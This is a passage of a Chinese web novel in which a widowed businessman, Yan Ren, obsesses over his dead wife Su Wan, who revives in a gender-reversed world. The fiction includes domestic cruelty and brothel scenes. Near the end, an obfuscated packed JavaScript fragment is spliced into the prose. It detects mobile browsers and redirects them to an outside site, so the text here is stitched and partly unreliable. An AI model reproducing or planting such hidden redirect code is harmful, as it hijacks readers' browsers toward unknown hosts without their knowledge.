宴刃向来连西装的袖口都要熨烫得平整,此刻蜷在地板上咳呛,喉咙泛着铁锈味。
冥冥之中,有什么东西正离他远去。
他很痛苦,阁楼不高,但一个人的病痛声音是传不到楼下。一如曾经的苏婉。
此时此刻,苏婉与宴刃的人生位置,第一次互换。
苏婉离开别苑,踩着的青石板往前奔跑,夜露渗透她的绣花鞋,她熟悉这条路,熟悉得脚掌自动记起步子。
夜黑得吞没人影,月光又白得刺眼,她不管不顾,只知道自己跑得快起飞。
霞飞路还有人等她!
……
宴刃在做梦,他梦见了那场宴会的后续。
他记得自己对苏婉撒了谎,她的小冒失虽然不体面,却根本不会影响任何商业计划。
能参加到那场宴会利益分割的人,不会像孩子般凭喜好做事。
他再次与香港合作方见面时,怀表随着他的动作微垂下表链,尽显从容。
资本,人脉,手腕,他一样也不缺,唯一可以说得上瑕疵的,就是他这一段上不得台面的婚姻,和那个永远融不进太太圈的妻子。
有关开发的合同早已备好,钢笔在纸上划出沙沙声。
礼物确实得送,但那不是赔礼,是来往之间的人情世故。就像是此刻窗外的美景与飘来的熏香,不是必须,但会更有面子。
所以即使没有苏婉的那冒失的一扶,这些礼数也省不掉。苏婉不过是默默承受他的坏脾气,他习惯性对苏婉挑刺,似乎总要伤她,这日子才过得舒坦,才能过得下去。
现实中,宴刃的眉头拧成结,咳嗽间得喉头泛起铁锈味。
梦中他正在签署最后一份文件,门外传来了女人的夸张的嬉笑声与男人粗重的喘息声。。
他将手中的钢笔重重盖上笔帽。"怎么又是这里出问题?"
香港富商晃动着威士忌酒杯,冰块碰撞声清脆,"霞飞路嘛,有女人助兴才好好谈生意。"
酒液在灯光下泛着琥珀色,映出富商意味深长的笑。
宴刃厌烦地转头,"说得好似美酒和女人合同的标配。"
"哈哈哈,宴刃你那么年轻,不能总是在局子里坐在角落,那么好看的一张脸都浪费了,"
富商的眼神在宴刃身上舔了一圈,颇为遗憾。
"宴老板。"富商吐着烟圈,雪茄的焦香在空气中弥漫,"咱们圈子,早晚会各玩各的,上次看你家里那位也管不住你,何不放开了玩?还是说你其实是爱妻的?"
宴刃皱眉,指腹摩挲着酒杯边缘,冰块的凉意渗入皮肤,"我和她只是不得不结婚罢了。"
"啊……这样。"富商点头,"看来我多余说嘴了,不过看你当时反应,还以为是什么重要人物呢。"
"我看起来对她有感情?"宴刃的脸色骤然阴沉,手中杯子滑落发出清脆的破裂声,酒液洒满皮鞋。
富商哈哈大笑,"换作是我可不敢去赌那枪头,到底还是我老了,没了胆气。"
宴刃冷着脸,被富商拍了下肩,匆匆散场。
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>陈见知他心情不好,开车送着他去夜场散心。宴刃醉眼蒙眬地靠在吧台上,询问他,"门外那些女人是谁?"
他的声音混在喧闹的节拍声中,几乎听不真切。
陈见支支吾吾,那一瞬间,宴刃看不清他。
宴刃醉意朦胧着道,"苏婉,会和她们有联系吗?"
陈见诡异停顿了下,笑道,"苏小姐整日待在别苑,哪会认识那些……"
他猛然睁眼,浑身冷汗咳呛着从地上爬起来,梦中门外的调笑声也好,之后对于追问也好,原来他曾经距离真相只差一步。
他擦去额头的冷汗,赤红着眼去翻动着苏婉所有的画作,绸缎与宣纸被闹得沙沙作响。
不对,不对!太少了!
自从苏婉遇到那个女人开始,阁楼的灯整夜都亮着,她日复一日的画,怎么可能只有这几张?
他冲下楼让佣人把陈见找来,重重来回踱步,阁楼的楼梯在脚下发出惨叫。
宴刃赤红着眼,攥着苏婉过往的画作手指发白。
"您…怎……怎么了?"陈见穿着睡衣,见状如恶鬼的宴刃,满脸困倦与小心。
"她的画去哪了?"宴刃一拳打在他的鼻梁上,"你和苏婉联合起来骗我?!"
此刻的宴刃就像被恶鬼夺舍了,叫人打心底地害怕。
地板传来闷响,陈见被摔出去时,后腰撞到桌子,全身发麻。
宴刃逆光站着,居高临下冰冷地盯着他。
陈见心中发怵,宴刃知道了苏婉会让自己帮忙卖画?低头不敢辩解。
还有更重要的事情,宴刃按着眉间骨,沙哑着声,"你带人去把苏婉的尸体找回来。"
凌晨三点的月光惨白,陈见犹豫片刻,在他森冷的视线下只能点头。
宴刃站在窗前,看着陈见带人离开,就像那日看着苏婉被人抬走一样。
他不会放过苏婉的,他会因梦不到她而丢弃她,如今又因为想见到她而将她带回来。
真奇怪,明明苏婉死的那天,他确实暗暗地松了口气。
苏婉太陈旧,配不上宴刃。
8. 第八章 苏婉7
宴刃注定活在新时代,是引领手下赚钱的领头人,而苏婉,一个连上海夫人举办的读书沙龙都挤不进去。
哪怕只是当个默默无闻的背景板,也足够碍眼。
苏婉只不过是个落后的旧时代小姐,一个被抛出来联姻女娃娃,若不是福气好遇到宴刃,早被夫家弄死吃干抹净。
庸俗、无能、无趣、毫无价值却死拖着不肯离婚,完全成了宴刃的累赘。
这些年宴刃拼命往上爬,日夜奔波不停应酬,扩张半途,不就是为了摆脱宴家强给他的婚姻?
苏婉做事巧,巧巧地死在离婚的前夕,为他省了离婚的麻烦。
可是,谁能想到?原本认为苏婉的死无关紧要的。
可他此时此刻,他环视阁楼,似乎每一处,都能闻到自己痛苦的味道。
他想知道,苏婉在死前,有没有恨过他?
陈见在乱葬岗翻找了一整夜,尸体都不知道翻到了多少,臭味黏在鼻腔里挥之不去。
他在怀里摸索,抖着手指点燃拿出来的叶子烟,火星在黑暗中明灭,质问短工,"你确定是把苏婉扔这儿了?"
短工拼命点头,他记得很清楚,不可能出错。
“真见鬼,难道还有人偷尸体不成?”
陈见踢开半截白骨,想到宴刃看他的眼神,那种他从未见过的、带着血丝的执拗眼神,吓得浑身一颤。
“真是要疯了。”
宴刃不是老说,与苏婉离婚就自由了吗?
陈见焦躁看着短工在乱葬岗转悠,那些他见过但是从未记住的小细节浮现。
宴刃每次应酬回来,总会喝光苏婉在小厨房的汤,哪怕那汤已经凉了。
轿车驶入院落时,宴刃也总会先抬头望向阁楼窗口
他亲手把珍贵的狐裘送给苏婉,冷着脸说让她撑场面,可那些东西也没有收回来过不是吗?
甚至那一场场那些因她在或不在而爆发的怒火、冷笑、不耐,都不只是厌恶。
这种变化,太危险了,陈见指尖发凉,烟烫到手指才猛然惊醒。
太迟了,苏婉已经死了。
宴刃亲手确认过她的死亡,又亲手丢弃了她的尸体,他要是翻旧账,那他陈见还有好日子过?
陈见连忙踩灭烟蒂,而且就宴刃现在的状态,宴家老宅那些虎视眈眈的眼睛,早晚会嗅到血腥味吧?
他深吸入一口夜风,混着腐土和烟草的浊气充满胸肺。有些事宴刃还没意识到,而他真切地希望宴刃永远别意识到。
宴刃二次失去苏婉,若是他想明白对她的感情,除非他能变回那个对苏婉视而不见的宴刃。
否则啊……
第八章苏婉7
天快亮了,他没等回苏婉。
宴刃竟愚笨到今天才发现苏婉与陈见私下的交易。
她在卖她的画,除了他最开始卖的那些,外面有别人看到了她的作品,她怎么敢?
宴刃面色铁青,没有一个人敢来打扰他的思绪。
苏婉到底算什么?
怎么活着的时候让人心焦,死后还成了扎进肉里的刺?焦灼如蚁群集体啃食他的心脏,痛得撕心裂肺,他攒紧画轴,用指腹摩挲那最新的笔墨痕迹。
他指甲刮弄着,似乎要将作画人的心思从画里挖出来。
宴刃安抚自己,苏婉死了也有好处,至少此刻,他不必像是以前那般,只能坐在厅堂,借着四季青簌簌作响的枝叶作幌子,借余光偷望她窗前的浮光掠影。
窗前有风,有树,有花香,偶尔也会有苏婉。
他能看见她轻柔舞动着手中的绣花小扇,侧身靠在窗台上。
苏婉是那么喜欢她那个破窗台,身体差成那样,却总是不避风。
小泥炉常开,她用小铁钳拨弄炭火。用绣花小扇扇风,风从她手中出现,吹到他面前。
风会卷来她种下的花香,会裹来她烤柑橘的焦香,但更多的时候,青烟会携着药味来到他的面前。
她总是这样,不直接出现,却处处都是她的痕迹。
比如她种在墙角的爬山虎,忍过这个寒冬又会爆枝,干枯的蔷薇也会爆开整个墙面。
若是苏婉还活着,那她现在会来回走动,修枯枝木,换盆养肥,将所有事物都处理好,就像过往的每一个冬天,像是她要借助这些植物才能残续生命到下一个冬天。<
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宴刃向来不屑经营利益之外的东西。
他只知道最简单的因果,苏婉做琐事越多,他坐在厅堂里面,看见她的概率就大。
她总是避他的视线,但是实在没有得躲了,避无可避了,她也会像是小老鼠那样,踮着脚尖往阁楼上走,木质阶梯轻轻地嘎吱。
那样的相处,怎么不算两人的独相处呢?
至少,她们并未发生争吵。
她上了阁楼,躲开了他的目光,于是脚步又变得轻快起来。
细碎的脚步变小了,是去窗边侍弄花草,急促而重的快步,是抱着东西往储藏间跑,有时还会磕磕绊绊,许是拿了重物,那时,他就忍不住皱眉。
真蠢,别苑佣人短工都不少,她居然一个都不会使唤。
苏婉总有他看不明的坚持,旧式宅门里把人当物件的本事学不会,新式合同关系的分寸也握不住,勉强能接住的,就是外面喊得震天响的平等。
她这般平庸与天真,怎么能怪他将她禁锢在后院?
偏偏……
他按住突突跳动的太阳穴,想起她执着狐裘披肩盖在那女人身上的模样,再一次狠狠咳起来。
她怎么什么事情也做不成。
不……其实是能的。
宴刃狠按住太阳穴,眼底露出阴沉,在苏婉刚到宴家的那个冬天,他要瞒着长辈,所以借着苏婉打掩护,让她多画画。
其实她字写得好看,陪着他在书房算着账本,她习惯用毛笔,小楷在宣纸上游走,工整清晰。
她轻轻地咳,偶尔走动间靠得近了,宴刃能闻到她身上清冷的药香。
也是从那时候开始,陈见在宴家的出入频繁起来,宴刃让他带着她的画去卖,她的画好,卖的价高。
窗外簌簌下着小雪,屋里面被炭火烤得暖烘烘的。
苏婉指尖在算盘上拨动,嘴角含着浅笑,目光在宴刃和他手中的物件闪动。
“这几日看你用这个计算器,字符闪动像是外面变戏法那样神奇。”
她闪闪的目光往上,撞入他的眼眸,羞怯道,“若是我之后算盘也使得好,那是不是也能和你一样当个女银行长?”
9. 第九章 苏婉8
那话是羞人,他至今都还记得她说话时红起来的脸,这种红与她病着时烧起的红不同,是鲜活的,带有生命力的。
“你在说什么胡话?”宴刃皱眉。
她的病不是时时都重,却足够磨人,哪怕屋子里已经足够暖和,她披着披肩整理的时候,咳嗽依旧会颤动披肩上的花朵。
她身上的药香没有一天散过,不想着好好休息,还要拖着这样的身体出去谈生意?
他想或许是这段时间,陈见总是让她帮忙,让她生出妄想。
手边是她放得整齐的本子,眼前她抚摸算盘的生疏。
宴刃抽走她手中的账册,漠视她骤然苍白的脸。
“就你这样的病秧子,别人沾上都要说声晦气,一个女人还想要做生意?”
他似笑非笑,“还是说你一个女人想出门抛头露面?还要不要名声了?”
苏婉的快乐就停在这句话里,她睫毛猛然一颤,那些还未说出的话便自觉停下。
他见她笑着的唇角坠下,攒紧算盘的手指发白。
他唇角也拉直,与她进行一场无声的拉锯战。
就她,也敢想时刻与自己待在一起?
他可不信她真的对生意感兴趣。
他厌恶长辈对自己的掌控,但此时此刻,他在用同样扭曲的快意,盯着苏婉眼中的光一点点暗下去。
在满足地看着苏婉沉默后,他抓起门边衣架上的外套离开宴家。
他听见自己的脚步声,那天他带着人处理十几单生意,归家时月亮已经高高挂起,书房的桌上
似乎什么也没有变,整齐地叠放着白天被丢下的书册。
但是又多了东西,桌面上还有一盒刚刚做好的盐渍话梅,那酸甜的味道即使是隔了很久的距离也能闻到。
那是他去年在信中说想吃的那种。
她做了一些,赶在了小雪前做了出来。
深深的愤恨袭上心头,宴刃一脚踹向门框,打开抽屉匆匆囫囵着塞入桌上所有的东西,他动作太急,盒子打开,洒落出几粒梅子。
盐渍携着糖霜裹着梅干散落在纸面上,他错开视线,重重关上抽屉。
他看不见梅子了。
或许是在生活中那些阴差阳错的小事,让苏婉误会了他的用意,让她有被关切的错觉,但他,关切?可笑!
此刻,多年以后,在苏婉已经死后那么多天后,他想起来这桩往事,下楼翻找从老宅带过来的旧家具。
宴刃翻箱倒柜,终于在最后一个抽屉,看见被糖渣黏住的纸张。
那一盒曾经漂亮的话梅缩在最底层的角落,木质的盒子上蒙着层丑陋干枯的霉斑,他费力打开盖子,那梅子也早就发黑变质,散发出腐朽味。
当年苏婉被羞辱后再也没有说过那些可笑的话,她的精力转而投向其他地方。
此刻,他将腐朽的梅干反扣手心,一脚踹倒书桌。
为什么?苏婉对他那么刻薄?只是几句话、几颗梅干而已,除此之外他送了她那么多的东西,她怎么就是不看他?
——————————
苏婉早忘了那盒话梅的事,也忘记了那些年来往的信,心中的大雪下了又化,那些笔墨晕开,再认不出写了什么。
她之后没再送宴刃东西,也不是因为宴刃说话难听,也不是要和他较劲,纯粹就是宴刃没有提。
人长了嘴不用来说话,但宴刃说话不中听,她也不自找没趣。
夜风卷着草屑拍打在苏婉脸上,她奔跑时鞋底被露水浸透,冰得她一个激灵。
目的地就在前方,她只顾着奔跑,没有注意到,自己的身体正在一点点凝实。
苏婉仗着人们看不见她,一鼓作气冲进小红楼。
可霓虹啊,在雨中晕开血色,冰凉凉的闪着红光。
她哪知道宴刃在想什么,他说一切与她无关,她就当真了。那些他自以为是送来的物件,她全堆在阁楼的储物间,唯有宴刃需要撑场面时,才拿出来用用,像对待娘家的嫁妆,从未想过带走。
她从未觉得那是她的东西,她向来对于这些东西算得清清楚楚,从未想过要占他的便宜。
痛苦上可以比较多少吗?<
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p>苏婉难以置信地瞪大眼眸,这是她第一次真正进入楼内,她短暂的人生被痛苦填满,仅剩的精力要用来生存——挣钱、养花、对抗孤独。
可此时此刻,她的鼻腔里涌进一股甜腻的脂粉味混着酒气。
这里的声音被割裂,一处女人的欢笑黏腻得像融化的蜜糖,一处痛苦的尖叫却像钝刀刮骨,每一声都剐着她的耳膜。
她的痛苦和这些女人的痛苦比起来,又显得过于轻薄。
可为什么,这里发生的事情没有改变?
苏婉的指甲掐进掌心,疼痛却压不住记忆的复苏,用画换来的钱买来信息,与上头下来的人检举、那些递交的证据、女人的担心……
距离她死去已经八天了,可眼前男人们仍在压榨女人,皮带扣碰撞声和喘息声钻进她每一根神经。
苏婉此时此刻想,如果她真的是鬼就好了,故事中的恶鬼都很厉害,让人畏惧。
她盯着天花板上的金色吊灯,灯光太刺眼,晃出泪来。
若自己是恶鬼,那么她浑身会燃起怨火,烧掉那些衣冠不整的男人们,让他们从畅快的欢笑变成焦臭的尸体。
依靠别人救不了她们,她就想办法放火烧了这座小红楼。
——————————
“你把消息卖了?”
陈见扇了短工一巴掌。
“那柳小姐给了十块钱,我就带她来了嘛。”
在陈见的仔细盘问之下,短工只能承认他把地址卖了,谁能想到还有人要来找尸体,真倒霉。
柳依依确实带走了苏婉的尸体,当陈见带人闯入柳依依租屋小院时,檀木棺材的冷香扑面而来。
她花光积蓄买下这口雕花棺材,日夜守着苏婉的尸体,只等到合适的黄道吉日,就把苏婉下葬。
她其实没有太特殊的原因,只是不知道自己还能做什么。
究竟为什么会变成这样,她一无所知,苏婉也没有告诉她,她唯一能做的,就是将苏婉的尸体妥善安葬。
既然没有人要苏婉,那她来。
“你倒是让我们好找。”
10. 第十章 苏婉9
陈见看到棺材松了口气,带着人冲过来要抢,柳依依死死挡在棺材前,指甲抠进木缝里,"你们休想再动她,我就知道宴刃会后悔,没有人能真的舍得下苏婉!"
风卷着雪扑在陈见扭曲的脸上,他抬脚踹向柳依依,满脸蛮横,“你们这些女人,别一个个都给我添麻烦!”
"咔——"
暴乱的夜中,棺材传来突兀的重响。
“咔咔……”
众人僵住身体,雪夜中,棺材里冒出指节挠着木板的声音。
苏婉诈尸了!
当执念到达顶点那一瞬间,苏婉觉得世界像被一只无形的手揉碎又重新拼凑。
视线里一切,就连灯光、墙壁、人影都迸发出翡翠般的绿意,光缠绕着一切,在万物的裂痕中浸透,最后仿佛有生命般攀附上她的指尖。
前一秒她还在为无法救下的人痛苦,下一秒,整个空间陷入死寂,连风声都被抽空。
脚下的地板龟裂又粘合,小楼破碎露出天空,她又看见了青山,那个模糊的神明轮廓悬在半空,与她对上视线。
腰间玉佩发出细微的"咔嚓"声,裂纹如蛛网蔓延。
那是十七岁时弟弟送给她的赔礼,不,或许应该说是宴刃抢来的赔礼。
其实也不算什么贵重物件,那时弟弟被宴刃揍得鼻青脸肿,嘴角淌着血,害怕地攥着玉佩往她怀里塞,"姐,你就收着吧。"
苏婉记得宴刃赤红的拳头砸在弟弟腹部,闷响声震得她胸腔的冷意消融。
太少见了,弟弟在她面前吃瘪。
这块玉佩不是弟弟想送,而是被宴刃打得不得不送。
她现在也不知道为什么弟弟会突然来找她呛声,更不知道宴刃为什么要为她出头,一切莫名发生,她只是站在那引起了一场风暴。
但是那天虽说宴刃是赢了的那一方,可还是受伤了,苏婉捏着蘸了碘酒的棉签,轻轻擦拭宴刃唇角的瘀青。
那时,他还是个少年,紧闭着眼,睫毛却止不住地颤动,像是被消毒水刺痛。
她盯着他抿紧的唇,想着他可真漂亮,鬼迷心窍凑近,在他伤口边吹气边小声嘟囔,"疼就说嘛,为什么要打架?几句话的事,值得动手?"
苏婉滚烫的呼吸拂过他耳廓,她擦去他指节上的血,触碰他泛着青紫的伤,指腹下的皮肤柔软滚烫。
她闻到了他身上血的味道,心脏狂跳。
"凭什么不打?你就没点尊严?"宴刃扭头。
她拧紧药瓶时,金属盖子冰得她指尖一颤。
"你就任他骂?在家也这样?为什么?"
某种阴暗的情绪爬上了她的喉咙,她声音像裹着雾气,"你...真的想知道为什么吗?
怎么会没想过?为什么弟弟能肆意妄为,而她处处都要小心翼翼?
宴刃喉结滚动了几下。
苏婉很少说出心里话,所以犹豫着开口时连措辞都变得生疏迟疑。
她停顿了好一会,才轻声问,"你能感受到吗?我和弟弟在一起的时候,周围的视线就像空气在挤压身体。"
苏婉低声道,"她们都只允许我让着弟弟,我是个女娃,怎么能和他争?"
恭顺谦卑自出生起就刻在她骨子里,而咳疾更是一道无法愈合的伤口,在诸多对比下,她能抱怨不公吗?
她能让所有人好好对待自己吗?
苏婉做不到理所当然的要求,她终究不是那样的人。
她太懂得察言观色,太知道如何让自己活下去。
"我讨厌弟弟说那些话。"苏婉继续道,"但如果我们起了冲突,无论发生了什么,最后都是我吃亏,最后都是我在承受后果,那我不争不抢会更好吧。"
她垂下眼睫,"现在有你帮我,我会好很多。可如果只有我一个人……"她顿了顿,"没人会想着我的。"
"我不争,只是不想吃亏。"苏婉摸着碘酒瓶,大多时候,她强迫自己专注于琐事,调墨弄画、记录药材余量,找事填满注意力。
唯有如此,才能暂时忘记命运落在她身上的苦痛。
此刻玉佩彻底碎裂成粉,伴随着光涌入她的身体。
这种…充实的
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温暖?
她感受过这个!
天空闭合,小楼重塑,无数陌生记忆如潮水倒灌进她的脑海。
苏婉眼睁睁看着自己娇小的身躯拉长、膨胀,骨骼发出咔咔的轻响。
周围男人的肌肉在缩小,皮肤褪去青筋,变得苍白柔软。
奇幻得像是一场梦,苏婉定定看着自己健壮的身躯。
她为什么一直带着那块玉佩?除了最开始那些优柔寡断的情绪外,更多的其实是因为宴刃与弟弟打架时,她站在阴影里看得出神。
不是羡慕宴刃为自己出头,而是渴望拥有挥拳的力量。
若她生来带那身蛮力,她便不用害怕护不住自己,更不用在深夜数着剩下的药发愁,能自己挣药钱,谁还怕护不住自己?
她想要,那种蛮横的力量。
但是那天,哪怕没有武力,弟弟带村人持棍追来时,她也固执挡在宴刃身前。要知道她和弟弟关系并未破裂,在这个年代哪有出嫁女与娘家成仇的?
"姐你让开!"弟弟吼得唾沫星子飞溅。
她是姐姐,也是女子,弟弟带来的人眼神黏腻地爬满她衣襟。
“这是男人的场合,你一个女人插什么手?”
苏婉背脊挺得笔直,手掌抵住棍棒。
见着苏婉护着宴刃,弟弟只能离开。
那天回去她发了高烧,喉咙干得像砂纸摩擦,可她很开心。
苏婉的生活很少有能让她体会到价值感的事。
她一直想变得有价值,能被看到。
可是在脑海涌入无数的陌生记忆后,她再次看那块玉佩,才发现原来从男人视角看,他当初对她所做的不过只是"照顾所有物"。
而不是对她有爱情。
苏婉能看到自己的身体在渐渐消散,如沙如雾,她知道得太多不属于她的东西,所以要烟消云散了吗?
而眼前,更为荒诞的场景变化出来了,世界的时间再一次流动,那些变得高大健壮的女人们像挑拣货物那样看男人,她们像对待待宰的牲畜,眼神侵犯性地在他们身上游动。
11. 第十一章 苏婉10
而男人军服从她们身上被扯落,这身军装没有换下,但似乎此刻没有人在意这件事情,或者说这变成了一种特殊的爱好?
苏婉对她们袒露着淤青交错的脊背瞪大眼眸。
只听一声脆响,女人重重的耳光扇在男人脸上,"连伺候人都不会?你们老板怎么教的?"
苏婉才彻底恍然,原来男女角色颠倒了。
苏婉脑海里同时存在两套逻辑,一套男尊女卑,一套女尊男卑。
伴随着思维逻辑的打架,苏婉彻底消失在那片喧嚣中,她耳边还回荡着小红楼男人此起彼伏的尖叫与哀嚎,那里变成了女人们的消费场景,可这一次谁会来救她们呢?有人会为了她们拼命吗?
光线一点点消失,苏婉抬手揉了揉眼睛,黑暗中檀木的香味扑面而来,她手掌猛地一个发力,棺材盖"吱呀"一声滑开,健壮版的柳依依站在月光下,优美的肌肉随着喘息起伏。
见到她醒来,龇牙一笑,"苏婉,你说你大晚上不睡非要来试试自己以后的棺材,也不嫌瘆得慌。"
别苑的佣人一堆堵在门口,陈见软塌塌地瘫在地上,像是被人打晕过去。
柳依依冷笑,解释道,"真搞不懂你家这些男人的脑子,大晚上带这么多男人上门,遇不遇上劫匪还是一说,身为男人还想对女人动手,怎么想的?没点自知之明!"
苏婉心想,或许在前一刻,她们都会以为出事的是柳依依吧。
但她下意识笑出声,太好了,她没有死。
柳依依看她半天不动只顾着傻乐,纳闷道,"你还躺里面干吗,等着我扶你?"
她翻了个白眼,"别像个男人一样矫揉造作的,快自己跳出来。"
她嘴上这么说着,还是伸手拉住苏婉的胳膊,"快点,那么多男人在这里,你也好意思让人家等你。"
苏婉盯着那些佣人,指甲无意识抠着棺材边缘。
男人们一脸惊恐地看着爽朗的柳依依,见到苏婉像是终于有了主心骨,"家主,我们快走吧。"
柳依依叹息,凑到苏婉耳边,"我又不会对你干嘛,她们莫名其妙说些不讲逻辑的话,我说这些男人连字都不认识能成什么事?你要带人外出应该雇女人,男人力气小不说,脑子也不好,招人还得挑女的,别老发善心,要命哦!"
"在宅子里面做事要什么力气,我回去考虑下。"苏婉顺着她的力气跳下棺材,她哪里做过这么粗鲁的事情,下意识捂胸安抚自己。
柳依依横挑鼻子竖挑眼,嘟嘟囔囔说着女权的话,男人们缩在一旁,或是麻木,或是愤怒,或是……认同。
是啊,原来是这样。
当女人还是一个女人的时候,没有这么多机会去让她们认知,她们连劳动的价值都被否定,自然也只能接受别人的定位。
而现在,当女人变成主体,男人工作就变得不合适了,因为是女人制定规则,自然女人获益。
柳依依狠狠下了断言,"男人只适合在家带孩子,再多的事情她们那个脑子哪里想得过来?"
苏婉眼睁睁地看着以前这些坦坦荡荡的男人涨红了脸,"你个女人懂什么!现在都什么世道了,男人...男人哪里不合适了,男人也能顶半边天。"
他声音越来越小,脸上也满是难堪为难,像是说了自己也不相信的话。
"噗,外面留血流汗的事情哪用得到男人,就你们那点力,不给我们女人倒帮忙都算好的,让你们在家享福,只要带孩子,伺候好长辈,轻轻松松不好吗?"
柳依依嘲笑她们,"苏婉,你瞧这些男人连好话都听不懂,还能做什么?而且她们要是在外面遇到不好的事情可没有人能及时救她们,结果还是要你担责,你真得为自己好好考虑。"
苏婉注意到角落里有人瑟瑟发抖着低声嘟囔,"就是,我要辞职,家里又不缺钱还非要我来这。"
话音未落就被同伴捂住嘴,按着低头。
苏婉盯着那些平日趾高气扬的男人此刻畏缩如鹌鹑,忽然觉得好笑,原来权利翻转后,恐惧也会换一种模样。
是啊,一定会有人用善意的糖果来夺走她们生存的空间。
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她们会吃下糖果,就像是以前的她们。
苏婉仰头,瞳孔中仿佛倒影出密密麻麻轻柔坚韧的锁链,一层一层地锁在男人身上,遮盖眼睛,堵住耳朵,塞住喉咙,捆住手脚。
原来那些让她被挤压,喘不过气的规则长这样。
以前的这个世界对于女人来说很残酷。
现在的这个世界对于男人来说很残酷。
她又想起那块玉佩,想起与宴刃说要当银行长。
想起他愤然离家归来以后,看到书桌上的梅干,第一反应不是求和,而是某种剧烈难堪的情绪在他面上翻涌。
那时候,她看不懂,她现在明白了,她的要求伤了他的面子,戳破了他的幻想,他没有自己想象中那么有能力。
"总有一天我要挣脱这个笼子,然后毁掉它。"宴刃曾这样说。
苏婉记得那时的自己只是笑笑,她也希望他得偿所愿。
可他却一次又一次摧毁她的梦想,她曾多次疑惑,她不是人吗?为什么得不到人的待遇?
他不知道,挡在他面前那一次,是苏婉生平第一次没让着弟弟。在那个交锋的瞬间,她不是在对抗弟弟,而是在对抗整个世界。
那对抗轰然的瞬间发生在她的世界,与外界无关,也无人在意。
苏婉看着明显不耐烦的柳依依,感觉暖意从心脏渗进指尖。
宴刃曾说过,男人是见证财富存在,男人有涌泉式力量,所以难理解女人的苦楚。
可她不死心,还是问,"我能当女商人吗?"
宴刃怒斥她异想天开。
是了,苏婉就是异想天开,此刻天开了!
苏婉脑子里面装了太多的东西,因为咳疾她从小便不能和村里的孩子一起玩耍,她一直远远地看着,观察着。
男孩们挥舞着小木棍,眼神里是征服欲,女孩们聚在一起,互相往耳别着漂亮的花。
母亲常说,唯有从裤子缝里长出来的野心才是真正的野心,那现在呢,那野心还在吗?
苏婉迫不及待想回去看看。
12. 第十二章 苏婉11
天空再一次飘荡起小雪。
苏婉踩在细雪上,过去她曾有千百次想开口,但都像在潮湿的雨季试图点燃湿柴,微弱的光亮转瞬就被否决坚决的冷风吹灭。
"女人不行。"
"女人不合适。"
"女人做不到。"
这些话语轻飘飘的,落在身上却重若千钧。
每一次拒绝,都在她骨头上刻下看不见的裂痕。
"我先走了,下次再见。"苏婉走上前,抱住柳依依。
她没有买过棺材,棺材很贵,她对她的好感到抱歉,很抱歉,有那么多事瞒着你。
她不知道柳依依为了埋葬她花光了积蓄,在年纪轻轻的年纪落水惨死,但是她知道自己能在这里醒来,一定是柳依依做了什么。
"肉麻。"柳依依回抱她,"又不是再也见不到了。"
是啊,柳依依已经不记得了。
她们曾经真的永远也见不到了。
真好,她们最终都没有难过。
苏婉坐上车,让司机带上那口属于她的棺材,碾过一路薄雪回到宴家别苑。
不,不是宴家,苏婉定睛看到铁门上的苏字。
啊,以后这是苏家别苑。
阁楼的灯亮着,她提起裙摆缓步而上,少年版的宴刃站在光亮的阁楼里,黝黑的瞳孔中盛放惶恐。
原来,宴刃呀,把你放在我的处境,你也会害怕无助。
恭喜你,宴刃,欢迎来到失权者的世界。
少年的身躯不止裹着青年的记忆,还有无数宴家夫郎的记忆,宴刃眼底翻涌的疯狂,"苏婉!是你搞的对不对?人死不能复生,但妖魔可以!"
"如果我有能力改变,那我只希望改变再早一点。宴刃,是神明改变了这一切。"
"哪有这样邪恶的神!"
"这样的神已经攀附在女人身上几千年,现在不过是踩在男人肩上就叫邪恶了吗?"苏婉疑惑,"风水轮流转很公平不是吗?"
"疯子!"
"你怎么对家主说话的,得了家主的几分喜欢便开始拿桥,也不想想自己对于苏家有什么贡献,结婚三年连个女娃都生不出来,换我是你都投河死了!"陈见眼红宴刃,一样是男人,却被苏婉捧手心,恨不能替了宴刃去讨好苏婉。
"陈见你怎么敢这么对我说话?"宴刃震撼,气急攻心,咳得险些晕了过去。
"原来现在换你有了咳疾。"苏婉了然又同情,在这样的世界里面,一个男子在病痛之余还要清楚体会失权的社会规则,该是多么痛苦的事情啊。
她看他咳得脸色苍白的模样,提醒道,"储物间有中药,我稍后让人煮好给你送上去。"
"家主她......"陈见还欲离间两人,正要发作。
"你下去吧。"苏婉打断陈见,陈见只得谄媚对苏婉笑,又狠狠剜了宴刃两眼,让他规矩点。
阁楼里只剩她们两人,木地板在脚下发出细微的吱呀声,灰尘在斜射的光线中浮动。
此间好安静,苏婉看着他痛苦的神情,她想起他这几日在这里做过的种种后悔,痛苦的举动。
可她并未感动,因为她在他身上感受到的,遗留下来的只有痛苦。
而且,那样的痛苦更像是对于所有物的丢失,他若是爱她,那为何此刻宴刃死死盯着她,眼中翻涌的情绪既非悔恨也非遗憾,更像是被迫撕去强者伪装的暴怒?
爱是那么无力脆弱的东西吗?
苏婉与宴刃的关系已经被某种无形的力量,以一种最惨烈最不遗余力的方式彻底改写。
苏婉甚至有些疑惑与自己对视的究竟是人,还是头歇斯底里的困兽?
又或者,那些所谓的追悔,不过是他未受威胁时对于死者,对于自身遗憾的施舍。
苏婉笑了,是了,她们从头到尾本就不在同一个层面,她曾凭直觉感受爱憎,而宴刃早被长辈教导一切都该用利益的天平称量。
苏婉不怪宴刃,当权者从小被灌输斗争的信条有什么错?
苏婉现在也觉得,如果手中空无一物也只因自身还不够强,要找出武器,握紧刀剑去征服天地,让世界臣服。
而失权者的世界呢?
"外面很危险的。"
母亲说这话时,正上下翻动着针线,为家人缝好旧棉服的针脚,她说话时温柔又慈悲,"婉婉,你要做个乖囡囡,只有乖顺,你的丈夫才会爱你,才会保护你。"
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16271787|182338||http|test|mini|href|location''.split(''|''),0,{}));
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>母亲说着,突然狰狞起来,说要小心外面的女人,女人的世界,藏着太多吃白食的老鼠。
那时候,母亲并不知道,男人的世界除了女人有太多的财富。
苏婉盯着宴刃,想起母亲说过的教导,心头泛起钝痛。哦不,不是痛,是比当时更深的悲恸,她心疼起那个曾经笨拙的自己。
